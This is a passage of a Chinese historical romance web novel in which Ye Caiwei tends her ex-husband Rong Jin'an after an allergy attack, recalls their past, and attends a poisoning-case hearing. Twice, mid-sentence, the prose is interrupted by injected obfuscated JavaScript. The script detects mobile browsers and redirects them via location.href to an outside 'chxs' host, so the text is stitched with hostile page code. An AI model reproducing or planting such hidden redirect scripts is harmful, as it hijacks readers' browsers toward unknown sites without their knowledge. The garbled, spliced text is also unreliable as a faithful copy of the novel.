“容阁老不愧是天子肱股,耳目之多,竟然连民妇这等琐碎事都这般了如指掌,”她眉眼弯弯,丝毫没有挑衅之态,十分善解人意 “民妇确实曾亲手为学生熬制汤药,不止一次,也不止为一人。 她又笑道: “民妇与学生们的师生之谊情深意切,容阁老惯是薄情寡性,难以理解和想象,亦是稀松平常。她笑靥依旧,想看容津岸憋闷气恼,然而他苍白的面上,却并无波澜,只道: “既然如此,那就劳烦叶先生,亲手为本官侍奉汤药。’"凭什么?”憋闷气恼的反而成了叶采薇,她立刻质问。“叶先生大约忘记了,你是康和县主投毒案的重要证人。本官乃受害人,如若一直缠绵病榻,这案子迟迟不开审叶先生又如何能够如愿离开呢?"容津岸一字一句说完,声线沙哑。 被“照顾”的叶先生柳眉倒竖: ”好像是为我着想,可这些,跟我亲自侍奉汤药,又有什么关系?” “叶先生既然对学生尚能如此,想必对本官这个牵连重大之人,更能体贴入微,本官自然会更快康复。‘抢在叶采薇发作之前,容津岸又幽幽道:“本官倒是可以答应叶先生,等本官能够下地,立刻知会按察使大人着手处理此案,毕竟,那主犯康和县主,人还在大牢里关着。’ 叶采薇无语凝噎。 怎么会有如此.....奇货可居之人? 昨晚上他中了毒,为了诓她做下那见不得人的勾当,不要脸赌咒发誓“只有这一次,一次之后再也不找你”,天亮醒来就翻脸,借着那个所谓的投毒案将她困在此处,还腆着脸美其名曰"这是在帮你”。 不到一日,又要故技重施。 叶采薇无奈点头,容文乐十分识趣,将那汤药双手奉给她之后,便和问鹂一道,默默退了下去。瓷碗在手,叶采薇怔忪,碗面熟悉的药气,盈盈扑鼻而来。 容津岸第一次因为误食花生而发病,是在他们相识的第一年。 那一天是叶府私堂开课的日子,热闹从早到晚。课堂上,师生就着许多论题激烈讨论,上上下下火花四溅,鼎沸又融洽的气氛一直持续到了结束的晚膳,叶渚亭难得如此开怀,特意命叶府上管事的柳姨拿出了几坛窖藏多年的琥珀琼瑶酒,一人一盏酒碗,大家继续狂歌痛饮。柳姨见叶渚亭兴致甚高,一早便命厨房加了几道舒爽可口的小菜,时辰掐得刚刚好,与那醇厚甘甜的琥珀琼瑶酒一齐端上桌。其中,有一道名为薄撑的小食,酥香四溢、软糯绵甜,众人各自醺酩,很快便将薄撑一扫而空。因为着实尽兴,这一餐饭吃到很晚,在即将热热闹闹圆满结束时,容津岸却忽然惊天动地地咳了起来,紧接着,他高大的身躯一抖,“咚”的一声,不支倒地。众人手忙脚乱,酒也醒了大半,等郎中大夫来紧急看诊后,才知道原来容津岸不能食用花生,但那道薄撑,是将花生仁炒香碾碎后混入糯米粉中蒸制的,打眼根本看不出,加上琥珀琼瑶酒甘醇味厚,容津岸便不察,和其他人一样进食。 幸好他不爱食甜,只吃了小小一块,否则这般发作,就算是华佗在世也无法挽救。 意外有惊无险平息,众人松了口气,酒局也就地散了。温氏兄妹三人归家,奚子瑜等人因来自外乡,平日里都住在国子监的寝房中,但眼下容津岸惨遭飞来横祸,便都歇在了叶府早已备下的厢房里。 夜深人静,叶采薇躲在角落,确认奚子瑜等人,已经从容津岸的厢房离开。 她忐忑出来,徘徊在厢房门口,只见柳姨面容款款,带着汤药而来。 “柳姨......”叶采薇低低唤道。 她生性果决,极少有忸怩的姿态,此刻却是开口甜软,眸光闪烁,娇靥如优昙夜放,一把青丝在微凉的夜风中摇晃,十六岁的姑娘,美得惊心动魄。“薇薇,原来你在这里。‘ 柳姨原名烟柳,是姚氏的陪嫁婢女,自幼便服侍在姚氏身边。姚氏染上瘟疫后,自知时日无多,便早早将烟柳托付给叶渚亭,言说若是遇上合适的人家、且烟柳自愿的话,一定要将烟柳风风光光嫁出去。叶渚亭在姚氏病逝当年便被嘉泰帝召回了京城,因叶渚亭不再续弦,叶家没有当家主母,烟柳便梳起发髻,以仆妇的身份操持叶府上下。 此时,叶采薇并未说话,怯生生抬眸,与烟柳目光相撞,又连忙垂下。 “薇薇是想进去看望容公子?”烟柳小声探问。她是个极伶俐极通透之人,叶采薇表现如此反常,她见小姑娘目光飘闪,却兜兜转转不离她手中托盘上的汤药,便已然猜到了大概。 “还想,给他送药?”烟柳继续温柔试探。叶采薇被说中心事,紧紧抿着娇艳的唇瓣,柔荑胡乱搅弄同样轻软的巾帕,默默点了点头。“听老爷说,薇薇与容公子从第一次见就最不对付,薇薇还总是针对容公子,原来.....’ 四下只有她们二人,说话方便,烟柳多年来对叶采薇视如己出,叶采薇也早已将她视作了半个母亲,与她十分亲厚,心里话都 掏给她,眼下,却不知该如何说起。因叶采薇执意与六皇子退婚,那时候的京中,还在纷纷扰扰流传着种种关于此的谣言。 不过,叶采薇对谣言毫不在意的态度,与眼下的羞涩扭捏可谓判若两人,烟柳沉吟,眨眼了然缘由,便笑着将托盘送到了叶采薇的手上: “薇薇喜欢就好,柳姨不会告诉你爹的。‘情窦初开的叶采薇受到鼓励,心头暖融融的,移步推开房门之前,她想到了什么,转身低道:“不仅仅是阿爹,其他的人,柳姨也一个都不能说。"烟柳眉眼弯弯,点头细语: “放心,只有柳姨一个人知晓薇薇的小秘密。推门步入厢房,叶采薇连关门都小心翼翼。房内弥漫淡淡的酒气,与她手中的袅袅药气混合,竟生出了难以言喻的静谧。 叶采薇自知酒品不好,怕丢人现眼,今晚便并未同其他人一样开怀畅饮,只是偶尔浅酌。但此刻的她,偏生后悔起来。 人在清醒的时候,又怎么能纵容自己沉沦,做出荒谬离奇的行径呢? 她不敢细想。 床榻上,容津岸在安静平躺。他的皮肤惨白,未着灯的床帐惨白,就连他单薄的中衣贴在身上,也显得那样惨白。 他的相貌着实太过出众,线条硬挺,青丝茂盛,从五官到牙齿都挑不出半点毛病来,从前叶采薇只见过他醒时的俊逸,而他双眸闭合的模样,沉肃却不失清朗,深邃却不乏写意,如秋夜叙风,如岭渊深月。少女靠近床榻,低头看向了那碗冒着热气的汤药。她虽然一岁丧母,却是从小娇生惯养长大的,哪里伺候过人?就连叶渚亭偶尔害了病,也只让她隔着帘帷探视,从不会让她上手。 叶采薇抿了抿湿润的唇瓣,想起从前生病时,柳姨衣不解带照顾自己的模样,决定将碗放下,用软枕垫高容津岸的头颅,好顺利服下汤药。 他会因此而苏醒吗?醒来之后,会对她嗤之以鼻吗?叶采薇不知道。 她用汤匙舀出汤药,轻轻吹拂以降温,汤匙微微颤抖向前,触碰容津岸无甚血色的薄唇。谁知她正为了如何撬开他的口而发愁,面前男人的脸忽然一动,下一个瞬息,她便对上了他漆黑的眼眸。从未有与他如此靠近的时候。 叶采薇心跳骤停,小手不由一抖,那汤匙里的药汁自然全部洒了出来。 深褐色的液体沿着容津岸苍白凌厉的下颌线缓缓滴落,一颗一颗滴在他半开中衣露出的那段苍白的肌理上,滚滚蜿蜒而下,流到胸膛里,又将雪一样白的中衣染成了琥珀色,竟有种难以言喻的欲。 少女慌乱不已,连忙伸向自己的怀中取巾帕出来,却听耳边响起男人的声音: “叶大姑娘,想要毒死容某,不必如此大费周章。”“还请叶大姑娘立刻出去,瓜田李下,容某担不起这个虚名。 口吻冷若腊月冰霜,因为他人还在病中,又难免淡淡虚弱。 那一刻,叶采薇又羞又恼,恨不得手中碗里的,果真是让人肠穿肚烂的砒.霜。 就好比现在,同样的汤药被端在手中,若这果真是让人肠穿肚烂的砒.霜,她一定会用平生最美丽最灿烂的笑容,满口蜜语甜言,哄得这个明知不能吃花生还偏要一意孤行的狗东西心甘情愿喝下,然后七窍流血,当场暴毙。怎么会到了这个地步呢? 这样想着的时候,容津岸已经自己微微起了身。他用软枕垫在了脊背处,双眼若即若离,一贯梳得一丝不苟的青丝不知何时散乱开来,几绺发丝垂落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14578473|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,像山水图上缥缈的浮云点缀,皮肤苍白,中衣领口半开,他斜斜倚靠,打眼望过去,颇有一种魏晋名士的风流倜傥。叶采薇视若无睹,用银匙舀出药汁。第一口,叶采薇举汤匙的手很稳,容津岸漆黑的瞳孔被垂落的眼睫半遮半掩,不知睇向何方。药汁沿着他的口缓缓滑入,流过他的喉咙,被吞下,小山尖一样的喉结上下滚动。 叶采薇眼睫颤了颤,心如止水,又舀了满满一匙,靠近男人的唇边。 “明明恨不得我死,方才我突然发病,怎么又急着去找大夫?“容津岸语气淡淡。 她也眸色淡淡,保持着喂药的姿势,如常道:“容阁老乃是天子肱股、朝廷命官,当时只有你我二人在场,若是我见死不救,落人口实,惹上官非,岂不是要和你一起永堕无间地狱?‘ 容津岸没有回答,漆黑的眸子一瞬不瞬地睨着她,颈脖前倾,主动将她匙中的药汁吞了下去。一滴不落,干干净净。 叶采薇垂下视线。 她平静地再次舀起一匙,往容津岸的唇边送去,眼前惨白的面容,却突然变幻成了叶容安那张稚嫩的脸。叶容安长得实在太像他的父亲了。 因为容津岸不能食用花生,在叶容安很小的时候,叶采薇便花了重金请名医为他看诊,所幸这孩子身康体健,没有任何需要特别注意的毛病。 但人吃五谷杂粮,哪有不生病的道理,叶容安偶尔也会害些小病小痛。 不过,叶容安这孩子也实在太过懂事,让人省心,叶采薇亲手给他喂药,他秀气的眉宇因为药汁苦涩难咽而深深蹙起,却不需要她多哄一句话,一口一口尽数吞下,乖得不像样子。 做娘的心疼不已,用巾帕小心擦拭他唇边的药汁,温柔抚慰: “阿娘准备好了蜜饯,容安觉得苦,阿娘就喂你吃两粒。’ 叶容安漆黑的瞳孔满是坚定,小嘴抿成了一条线,摇头: “留文成侯曰:‘良药苦口利于病’①,容安不觉得苦;容安又曾听闻姑苏词奴有言:‘不受苦中苦,难为人上人②,纵然是一点小苦,容安也是吃得的。想起这些,叶采薇的心揪成了一团。她已经从东流出来多日,原本以为,可以如愿为母子两人的未来定下一个坚实且稳妥的去处,谁知转眼落入狼爪,不知能否顺利摆脱。 容安,容安。 你现在在做什么?也会和阿娘想你一样想念阿娘吗?鼻头一酸,眼眶蓦地滚烫,盈热的泪珠从眼角堆出,叶采薇抬手,想赶紧抹去,却听容津岸幽幽的声音:"五年不见,叶娘子的脾气语法古怪。方才,你不仅诅咒我死,还诅咒我死后永堕无间地狱,我海量汪涵不同你计较,你反倒还委屈了起来,真是奇谭。''讥讽不留半点余地。 见叶采薇眼泪凝住,他的口吻里多了几分戏谑:"不仅仅是脾气变了。当年叶娘子喂药的时候,手生得很,把药汁洒得到处都是,如今与学生们厮混多了,亲手给他们喂药,不知道练习了多少次,自然得心应手。''风姿卓绝的君子,纵然阴阳怪气,俊逸也半点不损。叶采薇还端着药,不能掐自己的掌心。她当然不可能说出落泪的原因,也绝不可能告诉他实情,之所以如今熟能生巧,全是因为照顾叶容安而练就。他讥讽她,她就在言语上攻讦,即使要将谎言进行到底: “是啊,学生们对我尊敬爱戴,一个个都听话得不得了。’ 胸口憋闷塞滞,一口浊气堵得不上不下,她只能化作伶牙俐齿 “他们全都很会察言观色,又把我这个老师摆在很高的位置。若是发觉我心思沉闷,有半点反常,就会变着花样说好话来哄我高兴。我也不过是亲手喂他们服药而已,投桃报李,礼尚往来,乃君子之德。‘一股劲儿说完,舒畅了不少,方才那些愁郁的眼泪也不知不觉干透。 叶采薇盯着他。 容津岸同样一动未动,幽幽的目光投过来,不辨喜怒,却也并非雾锁烟迷。 深潭一般的瞳孔,隐隐凤翥龙蟠,飞鸿栖川。叶采薇的呼吸蓦地停滞,她垂眸看向琥珀色的汁液,率先发难: “这药你还吃不吃?’ 谁知话音刚落,手中的药碗被他抢走,然后他一饮而尽。 药碗随手扔在几上,大掌揽过她微微颤抖的细腰,她跌坐在他的怀里。 不由分说,他的嘴唇堵了上来。 院 第24章 院 24 容津岸的薄唇贴上来的一瞬间,叶采薇的大脑一片空白。 滚烫,潮湿,像是被闷在密不透风的屋子里,她的呼喊求救被尽数封锁。 哪有这样的亲吻,生离死别的绝望,即将搁浅的池鱼。叶采薇被制住。 和前两次一样,双腕总是先被他紧握,她想要挣扎又被迫前倾,偏偏姿态退守,无法抵挡容津岸意味不明的进攻。那些腕上的肿伤,因为及时用药已然消退大半几乎不见,但仍旧无法承受他近乎嚣张的粗蛮,叶采薇下了一场又一场的雨,腕子的痛意上浮,蜿蜒入髓,侵略者只需要轻轻一顶,便已然顺利撬开了她紧闭的齿关。从前他们还在一起的时候,每一次深吻都是你情我愿,他又何尝有过这样失控、这样强势的表现?容津岸予夺予求。 那苦涩的药汁在他们的口中辗转流连,渗过齿缝佘根,滴滴答答与分不清是谁的津液混合,好似他们纠缠不清的现在。 叶采薇双眸紧闭,却无法阻挡昨晚的那些不堪的记忆扑面而来,她觉得自己像是站在了万丈深渊的边缘,随着容津岸的深吻从强势转向温柔,一步步往后退缩,直到半边足底悬空,瑟瑟萋萋。 深渊底风吹来,却吹不散她的混沌和滞涩。寸寸吮舐含弄,偏偏他松开她的腕子之后,双手还规矩地很,根本不需要掌控,她也早已放弃了推拒。叶采薇软得好似无骨。 容津岸终于放过了她,鼻峰与鼻峰差一点便贴上,他们两人之间尺寸距离,带着浓浓药气的喘.息在呼吸里徘徊,唇齿上弥留混乱,微微分开,眸光都混在了一起。叶采薇媚态玲珑,娇靥飞上红霞,樱唇丰润沛泽,鼻头汪着一点可爱的红,一双潋滟杏眸蒙上了一层薄薄的清雾,等到雾散云开,又变作了决然的傲寒。“稀松平常的味道。”彻底分开,欲色在容津岸的脸上消失得无影无踪,连语调都平淡得不像话。仿佛刚才他什么也没做,和她吻得难舍难分的人,也根本不是他。 叶采薇腾地一下站起来,想要整理衣衫,低头却发现平整干净,除了口中残留的苦涩之外,半点痕迹都没有。刚才那样的亲密,是他操控神手,故意布下的一场幻觉? “原来那方子起效神速,已经让你药到病除了,”她的眼刀飞过去,“原来权力使人抖擞,从前也没见你好得如此快过!‘ 有些人身子死了,嘴还没死,还会强吻她!“睡一觉看看。 容津岸倒是波澜不惊,重新将软枕放好,躺了下去。叶采薇呆了一呆,然后转身,拔腿就往外走,背后又传来他的声音: “床榻分一半给我,和昨晚一样。” “外面有那么多厢房,我为什么要和你挤在一起?”她实在是有点不耐烦了,头也不回。 “时辰耽误了这么晚,再去麻烦这府衙里的差役,不像是你叶采薇做得出来的事情。"容津岸施施然,还伸手拍了拍他身旁空置的床榻! “虽然同床共枕,但却泾渭分明。方才我也亲过你了,放宽心,我对你没什么感觉,昨晚也是说好了的,君子要言出必行。" 叶采薇恨不得把床几上的药碗摔过去,摔烂他自以为是的脸。 刚才没有第一时间推开他,绝对是自己今日最大最大的败笔。 否则,她现在一定会伶牙俐齿,理直气壮回应他的嘲弄。 另一个念头涌上来,容津岸如此表现,那身体应当已无大碍,答应了会立刻处理康和县主投毒案,那她捏着鼻子忍上一忍,也不是不可以。 而事实也果然如此,一觉醒来,容津岸早已不在。问鹂说,清晨此人离开的时候已经是神色如常,想来她们主仆二人被困于此,很快便能得到解脱。起床,梳洗,用餐,叶采薇铺开宣纸,开始再一次给温谣写回信。 距离上次温谣寄信至东流已经过去了不少时日,若是-再耽误,谣谣肯定会担心她。 至于上次,温谣在信中邀请她到京城过冬一事--叶采薇已经考虑清楚,在正式搬离东流之前,她倒是可以带叶琛北上一次。料想那时候容津岸还留在南方丁忧,她的行踪神不知鬼不觉,只要温谣和孟崛等人守口如瓶,容津岸便永远都不可能知晓叶琛的存在。书信完成时,刚好至日晡,容津岸却突然出现,先言明日按察使大人就会对那投毒案秘密升堂,然后话题一拐,说到这个时辰,此届秋闱的考生们正在贡院外,排队等待入院,如若她与她的几个学生有缘,这会儿过去,说不定能见上他们一面。 秋闱共有三场,每场持续三日,一连九天。每场的第一日,考生都会进入贡院,每人一间号房,吃住起居和第二日答题都在其中完成,直到第三日被放回。叶采薇将给温谣的书信封好,交给容津岸,同他一道离开。 各省的贡院,大多建立在省会城的东南角,纵然应天是座堪比京师的大城,贡院与府衙之间倒是距离不远,马车片刻便至。 隔了老远,那承载了多少考生兴衰荣辱的秋闱重地已映入眼帘。只见贡院外围惨白的院墙森然,漆黑冷酷的大门上方,悬挂着“贡院”二字大匾。数步开外,已然齐聚各色人等,有自南直隶各地赴考的考生及其亲属,还有围观热闹的 应天百姓,神色不一。 贡院的大门只开一道小缝,外面摆一张长桌,桌前坐着的两位官差,是负责审核登记的,面容沉肃,语气平和;但就在他们身旁,还有几名差役负责对考生搜身问话,凶神恶煞,满口不耐烦。 每一个顺利通过门口的考生都只能从那道小缝里挤进去,若是偶有身广体胖者,则要狼狈挤出满头大汗,而饶是如此,那些排队等候入场的考生尽管神色凝重,眼底暗含的期待和雀跃,却是难以掩饰。 马车停靠的位置刚好,叶采薇撩起车帘,逐一扫视正在排队的考生,却不见任何一个她学生的踪影。大约是昨日发生的事实在蹊跷波折,他们早早入了场,手心专注考试。 昨日,在她走后,问鹂和见雁倒是把那些她重做的真题都分发给了他们,也不知道他们消化吸收了多少。到底是亲自教了三年的学生,叶采薇在心头祈愿,希望他们不要受她的影响。 "嘉泰四十三年八月,京城秋闱,三场,三场叶先生次都没有来送过我。”马车上,容津岸与叶采薇相对而坐。侧帘已经被放下, 车外嚣杂喧喧,将他的话糅出了几, 分清冽。接近黄昏的光线,烘在男人俊朗无匹的面庞上,-半是无限的光明,一半却落入了深暗的阴影。"容大人,你是嘉泰四十一年八月到的京城,秋闱时已满两年,对京城到处熟悉,哪里需要送?“叶采薇冷笑。“只是可惜了,奚子瑜在贡院门口等了很久,一直留到最后,也不见你人影。‘ “奚子瑜为人光明磊落,从来不像某些人那样,只知道避嫌。 “瓜田李下,确实惹人非议。” “是你从来也没有真正当回事过。" 但这件事的源头,其实跟容津岸并没有任何关系。当年,叶渚亭已经从礼部调任了都察院,与秋闱沾不上任何关系。而且在外人看来,叶采薇与容津岸是最不对付的两个人,谁又会联想到瓜田李下?真正的原因,则是在临近秋闱时,所有人都在全力以赴,而叶采薇却刚好发现了叶渚亭的惊天秘密。气闷,郁结,愤怒和怨恨交织,却难以向任何人吐露半分。 包括容津岸。 偏生叶渚亭在她发现秘密之前便已经离开京城公干,秋闱的九天,叶采薇整日把自己关在房里,谁也不见,等到秋闱结束叶渚亭返回,发现了她的异常,百般追问,叶采薇也只说自己读了几部话本子感时伤怀,无甚大碍。她不知道该怎么说。 趁着还未放榜,叶渚亭将学生们都叫到了叶府上,晚膳之后,众人各自散去,叶采薇失魂落魄,飘飘荡荡,徘徊到了容津岸的厢房前,与他不期而遇。细数已有十余日未见,此时的容津岸意气风发,叶采薇却容色恹恹。 晚风熏醉,鸟语花香,面前的男人青衫玉绦,负手而立,叶采薇勉强一笑,仰头看他: "容公子发挥优异,必得高中,我先说一声恭喜了。彼时两人早已几番搓粉抟朱,燕好尝遍,她在私下里早已改口叫他“哥哥”,更不会有如此阴阳怪气的时候。但容津岸一如寻常。 “薇薇客气。”男人轻快的衣袂被夜风吹荡,他处事向来藏锋敛锷,短短四个字,竟叫人挑不出任何错漏来。他是不想承担半分错漏的责任吗? 他们两人之间,自相识的那一刻开始,便从来是她做主动的那一个,容津岸话少寡言,她若不主动说起自己的心结,他就根本不会主动去问。 就好比现在,她明明一直都在强颜欢笑,可他竟然....毫无察觉。 或者说,即使察觉到了,也无动于衷?叶采薇不想哭的,这接连的九日以来,她都处在不知今夕何夕的困顿麻木中,眼泪这样激烈的东西,反而显得轻佻。 然而咸涩的泪珠还是被那四个字惹了下来,一颗一颗滚落,冲开她面上为了遮掩憔悴而涂得厚厚一层的脂粉,更显狼狈万状,她吸了吸鼻子,笨拙而张皇地垂下眼帘。而面前的男人说: “如果没有别的事,我就先回国子监了,今晚不住在叶府。 是平淡又寻常的语气,和他对旁人,没有任何区别。叶采薇的心口被狠狠一揉,又酸又疼,极力克制的眼泪,也越流越凶。 脸上彻底乱作一团,也很丑吧? 她妄想着。 也许呢,也许呢。 长久以来,她都是主动表达的那一个,她也在潜移默化逼着他习惯,而她这些天来突然的反常,他要忙着秋闱,到现在,根本没有想过要如何应对。“如果没有别的事”- 是不是已经是他绞尽脑汁,给了她一个台阶,让她借此倾吐她的不快和烦闷? 可,可为什么一定要这样呢?他为什么不能问一句呢?她是被自己视若神明的父亲叶渚亭所伤,他是她的恋人,她想要他体贴入微、 主动关心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14578474|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,为什么就不可以呢? “滚,容津岸你滚。”她垂着脸,眼泪滴在地上。她狠狠把他推开了。 而容津岸走得头也不回。 时至今日,叶采薇早就不是当年那个被情爱所左右的胆大姑娘。 从回忆中抽身,只觉得自己过去沾染了一身尘土。贡院门口排队的考生只剩一点尾巴,围观的百姓也大多散去,随着日薄 西山,繁华热闹的应天城华灯初上,车马骈阗,满是熙熙攘攘。 容津岸不着急回,马车在街市上走走停停,行至金陵酒楼门口,两人下车。 应天城的繁华地段,闺秀娘子们结伴外出,见马车上下来的清隽公子风流蕴藉,峨冠玄袍衬托俊朗无匹,眉宇自有一股成熟气韵,仪态翩然,纷纷忍不住驻足观望,窃窃私语。 叶采薇感受着投在她身上那夹杂着疑惑、羡慕和嫉妒的目光,面不改色,跟着容津岸到二楼的包厢坐定。这顿饭吃得索然无味,因着在贡院门口的话题实在无解,两个人从头至尾,没有说过一句话。等到快要结束时,容文乐却进来,对容津岸耳语一番。“碰巧遇到一位故人,神医柴先生,”容津岸神色淡淡,对叶采薇说道,“因为我昨晚刚发了病,请过来为我诊脉。’ 叶采薇小口品着千岛玉叶,鸦睫投下阴影,把眸光半遮半掩。 "柴先生医术高明,堪称华佗在世,这些年云游四海难得一见,叶先生,也顺便瞧瞧。"她置盏的柔荑不自觉一抖:“我康健得很,无须麻烦。’ 若真是神医,她曾经有过生育一事,自然瞒不过。走出厢房时,刚好与一位男子迎面而行,那男子神姿翩然,鹤发半束,粗服草鞋,倒确实是个世外高人之相。叶采薇依稀记得,当年容津岸也曾经向她提过此人。不过都与她无关。 厢房中,两位故人铺毡对坐,柴先生刚刚膝定,大剌刺说道: “距离上次柴某见叶娘子,一晃五年过去。叶娘子风采依旧,比之当年的桃羞杏让,更添了不少林下风气,叫柴某见之忘俗。仲修,仲修,你可真是好福气啊,当年她对你一心一意..’ 容津岸的眸光淡淡地觑过来。 柴先生有些讪讪,知道面前的这位如玉公子嘴上从来不说,心里其实极不情愿,听到别的男人夸奖叶采薇,摸着鼻子道: “看来,你们还在闹别扭,否则叶娘子方才也不会用那种眼神看我,现在也肯定跟你坐在一起。"“你放心, 我这副尊容,入不了她的眼,"柴先生见容津岸神色黯淡,又主动说道, “感情这回事,跟治病一样,时常是急不得的。就像我,我医你这个不能食用花生的病症,也前前后后花了三年多,才让你彻底痊愈。'' 容津岸端起茶盏,柴先生眨了眨眼,放低了声量:”治好了这个病,你现在也能少了许多烦恼吧?此事只有你我两人知晓,先前教你的那招装病的法子可还管用?是不是对付三皇子六皇子那些人,更得心应手了?"“这件事,多亏了柴先生。”容津岸提起茶壶,为柴先生添水。 放下后,长指撑着高挺的鼻梁,像是在诉说,又像是自言自语: "也不知是幸还是不幸。" 没头没尾的话,很快便被窗外传来的欢声笑语淹没。柴先生将茶水一饮而尽,失礼地啧了啧:"仲修,我最知道你,所有的话都用在了笔头上,文章倒是写得华丽好听,但面对心爱之人,你却一句也不愿多说。这些年你有没有认真想过,若是一切真如你所料想那般,你和叶娘子,又何必蹉跎到今天?"这话颇有一番过来人的劝抚之意,眼见容津岸的眸色晦暗不明,柴先生长叹,又正色道:"没见过比你还表里不一的人。表面上看似对一切都不在意,好像谁的话你都听得进去,其实内里桀骜自恃,甚至可以说是刚愎自用,以为一切都尽在掌握。"柴先生的眉头越说越紧,手指划着布衫:“你不说我也猜到了,当年叶家遭了灭顶之祸,叶娘子因此郁郁寡欢,你是觉得,只要给她足够的空间和时间,她就能好起来,是不是?甚至以至于,她提出和离,你也觉得她是冲动为之,根本没有挽留,因为你坚信她一定会回头的,是不是?'' "以她的脾气秉性,我若不放她走,她一定会闹得天翻地覆,要跟我鱼死网破的,”容津岸的长指撑着鼻梁,唇角挂着诡谲的笑, “五年过去,她到底还是挺过来了,难道还不足以证明,我的选择是对的?'' 柴先生睃了这俊朗无匹的年青权臣一眼,天下怎么会有男人,皮肤白成这样? “那既然你意志坚定,狠了心要放手,又为什么难以入眠?为什么一直在偷偷找她?‘ 柴先生冷嗤,又想起了什么: “说起这个,当年自从叶娘子离开,你就又添了一个无法入眠的毛病,从辽东回来之后更是雪上加霜,我为你治了那么久都只是略有好转,最近如何,可更好了?"容津岸抚着杯盏点头。 连续两晚都和她同塌而眠,确实睡得安稳。 金陵 第25章 金陵 25 柴先生闻言,又见容津岸舒朗的神色,眉头也徐徐展开: “想来,定是与叶娘子有关,就算你继续嘴硬,我也能猜得到。, 他顿了顿: “幸好,你在这个时候将她找到了。否则,你这难以入眠的毛病,若是再拖下去的话,明年此时,恐怕我也只能到你歙县的坟前祭拜你了。你们一家四口,齐齐整整。"戏谑的言语难掩冒犯,然而容津岸不置可否,又是一副清清淡淡的模样。 柴先生想起他方才反驳自己的那些,就着他避而不谈的问题,反过来道: “仲修,现在你坏的,可不止是这张嘴。”这话着实不留情面,然而他觉得自己理应将问题说透:"你以为,你总是在为叶娘子着想、顺着她的性子做事,实则根本不然。你有没有想过,她想要的,是你为她而改变,磨平你身上那些会刺伤她的棱角,这就是所谓男女情爱的独一无二,而不是你的那些自以为是。”一番话似是而非,容津岸默然。 半晌之后,一贯冷淡自持的男人蹙起了眉头:“你.....如此了解她内里的想法?” 柴先生倒是优哉游哉,自己给自己倒茶:“别看柴某并未婚配,孑然一身,但我行医多年,见多识广,帮病患处理人事纠葛,也是时有发生的。叶娘子这样的奇女子,实乃世所罕见,她与寻常闺阁之人断然不同,你若是不愿珍惜她,愿意珍惜她的人,可还在后面排着队等着呢。" 容津岸单手持盏,苍白的手背上,隐隐有青筋浮现。“那时与你偶然相识,我还是身无功名的白身。”他的眼睫很长,掩盖住他眼底的情绪,“转眼六年过去,这一回我再要那避子丸,连同之前的,三倍诊金付给你。”柴先生知晓容津岸所指的是他专为男子调配的避子丸,愣了一下,继而点头说了好。 第二日,贡院里秋闱的第一场考试如火如荼进行,府衙里,也在就康和县主向容津岸投毒一案,秘密升堂审理。直到快要日落时,叶采薇才被带到了公堂上,但她并未见到那位县主本人。 南直隶的按察使大人生得慈眉善目,倒不像是主管一省刑名的严肃刻板,反而一副很好说话的模样,叶采薇被他简单问了几个问题便罢,并未涉及私隐。结束后,叶采薇准备离开,即将走出公堂,见迎面而来一名穿着官袍的男子,颇为面熟。那男子大腹便便,一见到她, 双眼里各种复杂的情绪汇聚,而后垂手行礼,态度谦恭至极。 自从与容津岸和离,叶采薇的身份尴尬,再也没有受到过官老爷的这等对待,蹙眉犹疑片刻,才忽然想起来这个人是谁。 恰在此时,身后又有人走来,伴随着柔和的女声,惊喜: “夫君,你怎么来了?这个时辰,你不是应当还在贡院里吗?" 说话的是同样被牵连进投毒一案的万夫人,据说前晚上,康和县主就是经了她之手,将那有毒的糕点送到了容津岸的值房之中。今日,她也被召到了堂上来,按察使对这位万夫人倒是客气得很,叶采薇暗自纳罕,这会儿见了她的夫君,她才恍然大悟。 "无妨的。 万建义的目光先从万夫人身上移开,停至叶采薇,最后又顺势落在了紧随万夫人而来的容津岸脸上,又行了个礼,笑道 "容大人也在。’ 然后一顿: ”说到底,这个案子是因拙荆而起的,无妄之灾,给容大人和叶娘子添了大麻烦。眼下,刚好到了晚膳时间,两位又都在,不知能否赏光,容下官带拙荆,为两位赔个不是?‘ 当年还未出阁时,叶采薇只与奚子瑜等人相熟,本也与国子监的其他学生并无交集。不过,因为奚子瑜早就知晓她与容津岸的事,便暗中出力,将容津岸身边的人,不厌其烦地尽数告知,叶采薇也算对国子监之中的大概掌握不少。 而这位万建义,出身湖湘世家,才学下乘,只仗着自己煊赫的门第,在国子监中横行霸道,更是初初针对容津岸这种出身寒微的贫苦同窗。后来,万建义秋闱中举后春闱却落了第,不知去向。 几年过去,早已风水轮流转,当年趾高气昂的权贵子弟如今谦卑恭逊,恨不得用热脸贴在已位极人臣的容津岸身上。 “叶娘子怎么看?”面对万建义夫妇的殷勤,容津岸微微侧身,一副谨听吩咐的模样。 叶采薇今晚就可以离开府衙,为了避免夜长梦多,她打算出去之后,接上见雁,主仆三人立刻启程离开应天,没有必要为了这些不相干的人而节外生枝。她眉心微蹙,拒绝的话已经到了嘴边,谁知那一身绫罗的万夫人却突然上前,握住了她的手,两颗热泪“唰”地一下划出泪痕来: “叶娘子美名,妾早已听闻,打心眼里对叶娘子钦佩不已。谁知道前晚上,妾却糊里糊涂,差点害了叶娘子,若是叶娘子不肯赏光,让妾好生赔这个不是,妾心里这根刺,实在是,实在是..... 